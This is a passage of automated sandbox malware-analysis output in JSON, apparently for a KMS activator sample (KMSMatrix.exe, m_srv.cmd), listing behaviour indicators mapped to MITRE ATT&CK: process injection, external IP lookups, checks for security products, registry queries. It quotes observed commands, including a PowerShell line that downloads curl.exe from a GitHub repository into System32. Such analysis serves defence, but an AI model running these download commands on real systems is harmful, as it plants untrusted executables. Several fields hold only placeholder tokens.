Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://licensing.mp.microsoft.com\"\n Found HTTPS url \"https://github.com\"\n Found HTTPS url \"https://gist.github.com\"\n Found HTTPS url \"https://kms.com\"\n Found HTTPS url \"https://techcommunity.microsoft.com\"\n Found HTTPS url \"https://eskonr.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$63","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"142.250.189.202\" on port \"443\"\n HTTPS traffic to \"192.30.255.113\" on port \"443\"\n HTTPS traffic to \"185.199.108.133\" on port \"443\"\n HTTPS traffic to \"34.117.186.192\" on port \"443\"\n HTTPS traffic to \"45.84.207.125\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on file \"curl.exe\"\n YARA signature for AES encryption matched on file \"urlref_httpsgithub.comcloud1cybertronwincurlrawmaincurl.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detect powershell file matched on process \"00000000-00002616\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE623F8F48BDBD43E56C8E8D82C8EC]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001580.00000000.66629.3B470000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$64","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"KMSMatrix.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"timeout.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"findstr.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"find.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cscript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006552)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00001580)\n \"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00003300)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"KMSMatrix.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000004000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000004000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006552)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001580)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"55c6cfd0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$65","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$66","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$67","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"11127735326,7372,3115,,CreateToolhelp32Snapshot,kernel32.dll,\"00:17:21.015\",RX=0,PX=0\" (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00001580.00000000.66629.55630000.00000004.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"$69","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system services using Tasklist","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c tasklist /fi \"imagename eq SbieSvc.exe\" /fo csv /nh\" [Source: 00000000-00008068-00000C41-53257016263]\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c tasklist /fi \"imagename eq ekrn.exe\" /fo csv /nh\" [Source: 00000000-00008068-00000C41-64169663607]\n Observed string: \"%WINDIR%\\system32\\cmd.exe /c tasklist /fi \"imagename eq QHActiveDefense.exe\" /fo csv /nh\" [Source: 00000000-00008068-00000C41-68177950289]\n Observed string: \"/c tasklist /fi \"imagename eq SbieSvc.exe\" /fo csv /nh\" [Source: cmd.exe]\n Observed string: \"/c tasklist /fi \"imagename eq ekrn.exe\" /fo csv /nh\" [Source: cmd.exe]\n Observed string: \"/c tasklist /fi \"imagename eq QHActiveDefense.exe\" /fo csv /nh\" [Source: cmd.exe]","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-173","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"11039650272,7372,3025,,RtlGetNtProductType,NTDLL.dll,\"00:17:20.984\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001580.00000000.66629.55630000.00000004.mdmp\")\n Found reference to API \"10589570484,6576,3025,,RtlGetNtProductType,NTDLL.dll,\"00:17:20.796\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001580.00000000.66629.55630000.00000004.mdmp\")\n Found reference to API \"9259129760,3708,3025,,RtlGetNtProductType,NTDLL.dll,\"00:17:20.234\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001580.00000000.66629.55630000.00000004.mdmp\")\n Found reference to API \"10430129462,3708,3025,,RtlGetNtProductType,NTDLL.dll,\"00:17:20.734\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001580.00000000.66629.55630000.00000004.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve instances of WMI objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-CimInstance\"; File: \"KMSMatrix.exe\")\n Found string \"if %_wmic% EQU 0 %psc% \"Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName\" 2>nul | find /i \"computersystem\" 1>nul\" (Indicator: \"Get-CimInstance\"; File: \"m_srv.cmd\")\n Found string \"if %_wmic% EQU 0 %psc% \"Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName\" 2>nul | find /i \"computersystem\" 1>nul\" (Indicator: \"Get-CimInstance\"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":1,"id":"string-277","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"KMSMatrix.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve type of COM object","description":"file/memory contains long string with (Indicator: \"GetTypeFromCLSID\"; File: \"KMSMatrix.exe\")\n Found string \"%psc% \"If([Activator]::CreateInstance([Type]::GetTypeFromCLSID([Guid]'{DCB00C01-570F-4A9B-8D69-199FDBA5723B}')).IsConnectedToInternet){Exit 0}Else{Exit 1}\"\" (Indicator: \"GetTypeFromCLSID\"; File: \"m_srv.cmd\")\n Found string \"%psc% \"If([Activator]::CreateInstance([Type]::GetTypeFromCLSID([Guid]'{DCB00C01-570F-4A9B-8D69-199FDBA5723B}')).IsConnectedToInternet){Exit 0}Else{Exit 1}\"\" (Indicator: \"GetTypeFromCLSID\"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-569","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1552","relevance":1,"id":"string-334","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"KMSMatrix.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$70","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Searches for patterns in files","description":"Process \"findstr.exe\" with commandline \"findstr /rxc:\".*\" \"m_srv.cmd\"\" (UID: 00000000-00007624)\n Process \"findstr.exe\" with commandline \"findstr /il%WINDIR%\\\\7\"\" (UID: 00000000-00007716), Process \"findstr.exe\" with commandline \"findstr /il%WINDIR%\\\\8\"\" (UID: 00000000-00004328)\n Process \"findstr.exe\" with commandline \"findstr /il%WINDIR%\\\\8.1\"\" (UID: 00000000-00008040), Process \"findstr.exe\" with commandline \"findstr /il%WINDIR%\\\\10\"\" (UID: 00000000-00003252)","origin":"Monitored Target","mitre_attack_id":"T1083","relevance":3,"id":"target-244","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Uses REG.EXE to query registry keys","description":"Process \"reg.exe\" with commandline \"reg query \"HKCU\\\\Console\" /v ForceV2\" (UID: 00000000-00007228)\n Process \"reg.exe\" with commandline \"reg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Alu\" /s /reg:32\" (UID: 00000000-00003940)\n Process \"reg.exe\" with commandline \"reg query \"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SystemInformation\" /v \"SystemProductName\"\" (UID: 00000000-00005184)\n Process \"reg.exe\" with commandline \"reg query \"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\HardwareConfig\\\\Current\" /v \"SystemProductName\"\" (UID: 00000000-00004404)","origin":"Monitored Target","mitre_attack_id":"T1012","relevance":3,"id":"target-144","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006552)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001580)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006404)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004456)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007028)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$71","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"%~2) else (echo %esc%[%~1%~2%esc%[0m)) else (if defined _unattended (echo %~2) else (call :batcol %~1 \"%~2\"))exit /b:_color2if %_NCS% EQU 1 (echo %esc%[%~1%~2%esc%[%~3%~4%esc%[0m) else (call :batcol %~1 \"%~2\" %~3 \"%~4\")exit /b::=======================================:: Colored text with pure batch method:: Thanks to @dbenham and @jeb:: stackoverflow.com/a/10407642:batcolpushd %_coltemp%if not exist \"'\" (\"'\" set /p \"=.\")setlocalset \"s=%~2\"set \"t=%~4\"call :_batcol %1 s %3 tdel /f /q \"'\"del /f /q \"`.txt\"popdexit /b:_batcolsetlocal EnableDelayedExpansionset \"s=!%~2!\"set \"t=!%~4!\"for /f delims^=^ eol^= %%i in (\"!s!\") do ( if \"!\" equ \"\" setlocal DisableDelayedExpansion >`.txt (echo %%i\\..\\') findstr /a:%~1 /f:`.txt \".\" \" (Indicator: \"LogonTrigger\"; File: \"m_srv.cmd\")\n Found string \"\" (Indicator: \"LogonTrigger\"; File: \"m_srv.cmd\")\n Found string \"\" (Indicator: \"LogonTrigger\"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")\n Found string \"\" (Indicator: \"LogonTrigger\"; Source: \"00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":5,"id":"string-32","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"KMSMatrix.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1672)\n \"KMSMatrix.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1672)\n \"KMSMatrix.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1656)\n \"KMSMatrix.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1656)\n \"powershell.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\cscript.exe\" (Handle: 2252)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\cscript.exe\" (Handle: 2252)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"malicious","category":"Network Related","name":"Downloads file using Powershell DownloadFile","description":"Process \"powershell.exe\" with commandline \"powershell \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (new-object net.webclient).DownloadFile('https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe', '%WINDIR%\\\\System32\\\\curl.exe')\"\" (UID: 00000000-00005180)","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":5,"id":"target-176","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"ipinfo.io\" (Indicator: \"ipinfo.io\"; File: \"PCAP\")\n \"/c curl https://ipinfo.io/ip -k\" (Indicator: \"ipinfo.io\"; File: \"cmd.exe\")\n \"curl https://ipinfo.io/ip -k\" (Indicator: \"ipinfo.io\"; File: \"curl.exe\")\n \"curl https://ipinfo.io/country -k\" (Indicator: \"ipinfo.io\"; File: \"curl.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /cloud1cybertron/wincurl/raw/main/curl.exe HTTP/1.1Host: github.com\n Connection: Keep-Alive\n\n GET /cloud1cybertron/wincurl/main/curl.exe HTTP/1.1Host: raw.githubusercontent.com\n Connection: Keep-Alive\n\n GET /a/7z2201.exe HTTP/1.1Host: www.7-zip.org\n User-Agent: curl/7.87.0\n Accept: */*\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ipinfo.io\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"$79","origin":"File/Memory","mitre_attack_id":"T1574.010","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$7a","origin":"Monitored 